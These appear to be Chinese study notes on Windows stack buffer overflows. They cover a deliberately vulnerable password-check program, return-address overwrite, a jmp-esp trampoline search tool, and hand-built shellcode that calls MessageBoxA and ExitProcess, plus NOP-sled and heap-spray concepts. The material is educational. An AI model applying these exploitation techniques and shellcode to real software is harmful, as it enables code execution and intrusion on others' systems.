ESP:該指針永遠指向系統棧最上面一個棧幀的棧頂
EBP:該指針永遠指向系統棧最上面一個棧幀的底部
01 修改函數返回地址
#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){ int authenticated; char buffer[8]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); return authenticated;}int main(){ int valid_flag=0; char password[1024]; while(1) { printf("please input password:"); scanf("%s",password); valid_flag = verify_password(password); if(valid_flag) { printf("incorrenct\n"); } else{ printf("Congratulation\n"); break; } } return 0;}
輸入8個字符後結尾的NULL會覆蓋authenticated
02 控制函數執行流程
#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){ int authenticated; char buffer[8]; printf("%p\n",&buffer); authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); return authenticated;}int main(){ int valid_flag=0; char password[1024]; FILE *fp; if(!(fp=fopen("password.txt","rw+"))){ exit(0); } fscanf(fp,"%s",password); valid_flag = verify_password(password); if(valid_flag) { printf("incorrenct password!\n"); } else{ printf("Congratulation\n"); } fclose(fp); return 0;}
(1) 摸清楚棧中的情況,函數地址距離緩衝區的偏移量
經過字符串搜索獲得返回地址0x00401122
(2) 要獲得程序中密碼驗證經過的指令地址,以便程序直接跳去這個分支執行
須要逆序輸入4個字節
(3) 要在password.txt文件的相應偏移處填上這個地址
因爲棧內EBP等被覆蓋爲無效值,使得程序在退出時堆棧沒法平衡
03 向進程中植入代碼
一、Depends找到user32.dll基址 MessageBoxA偏移地址
二、在彙編語言中調用這個函數須要得到這個函數的入口地址
機器碼 |
彙編 |
註釋 |
33DB |
XOR EBX, EBX |
壓如NULL結尾的「failwest」字符串 |
53 |
PUSH EBX |
之因此用EBX清零後入棧做爲字符串的 |
6877657374 |
PUSH 6877657374 |
截斷符,是爲了不「PUSH 0」中的NULL |
686661696C |
PUSH 686661696C |
不然植入的機器碼會被strcpy函數截斷 |
8BC4 |
MOV EAX, ESP |
EAX裏是字符串指針 |
53 |
PUSH EBX |
4個參數按從右向左的順序入棧 |
50 |
PUSH EAX |
分別是(0,failwest,failwest,0) |
50 |
PUSH EAX |
|
53 |
PUSH EBX |
|
B8EA07D577 |
MOV EAX, 0x77D507EA |
調用MessageBoxA 不一樣的機器這裏的函數入口 |
FFD0 |
CALL EAX |
地址不一樣 |
基地址+偏移地址 = MessageBoxA在內存中的入口地址
90後面填入buffer地址
成功經過溢出調用了MessageBoxA
ESP所指的位置剛好是咱們所淹沒的返回地址的下一個位置
**04 獲取 「跳板」 的地址
這種定位shellcode方法使進程空間裏一條 jmp esp 指令做爲跳板,不論棧幀怎麼移位,都能跳回棧區
得到 user32.dll 內跳轉指令地址最直觀的方法就是編程搜索內存
#include<Windows.h>#include<stdio.h>#define DLL_NAME "user32.dll"int main(){ BYTE* ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME); if(!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try{ if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + postion; printf("OPCODE found at 0x%x\n",address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } } return 0;}
添加插件後,在c頁面右鍵出現Overflew Return Address
搜索完後,單擊 「L」 能夠在日誌窗口中查看搜索結果
爲了讓程序正常退出,須要用depends查找kernel32.dll中的ExitProcess的地址
寫出shellcode的源代碼
#include<Windows.h>int main(){ HINSTANCE LibHandle; char dllbuf[11] = "user32.dll"; LibHandle = LoadLibrary(dllbuf); _asm{ sub sp, 0x440 xor ebx, ebx push ebx //cut string push 0x74736577 push 0x6C696166 mov eax, esp push ebx push eax push eax push ebx mov eax, 0x77D507EA call eax //call MessageBoxA push ebx mov eax, 0x7C81CAFA call eax //call exit(0) }}
編譯後在OD中打開,找到代碼後dump:右鍵複製->到文件
33DB xor ebx,ebx 53 push ebx 68 77657374 push 0x74736577 68 6661696C push 0x6C696166 8BC4 mov eax,esp 53 push ebx 50 push eax 50 push eax 53 push ebx B8 EA07D577 mov eax,user32.MessageBoxA FFD0 call eax 53 push ebx B8 FACA817C mov eax,kernel32.ExitProcess FFD0 call eax
在shellcode前加上jmp esp的地址
05 地址錯位
爲了通用性,咱們一般會在shellcode一開始就大範圍擡高棧頂,從而達到保護自身安全的目的
mov eax,esp 和 jmp eax 也能夠完成進入棧區的功能
擴大shellcode面積,提升命中率(函數返回時,只要能擊中nop區shellcode就能執行
)
大面積「掃射」返回地址(用一大片返回地址來覆蓋真正的返回地址,增長命中的成功率)
解決字節錯位:不一樣的主機會有不一樣的安裝目錄,可能致使覆蓋的地址錯位失效,使用按字節相同的雙字節跳轉地址,甚至可使用堆中的地址,而後想辦法將shellcode用堆擴展的辦法放置在響應的區域,這種heap spray的辦法常常在IE漏洞中使用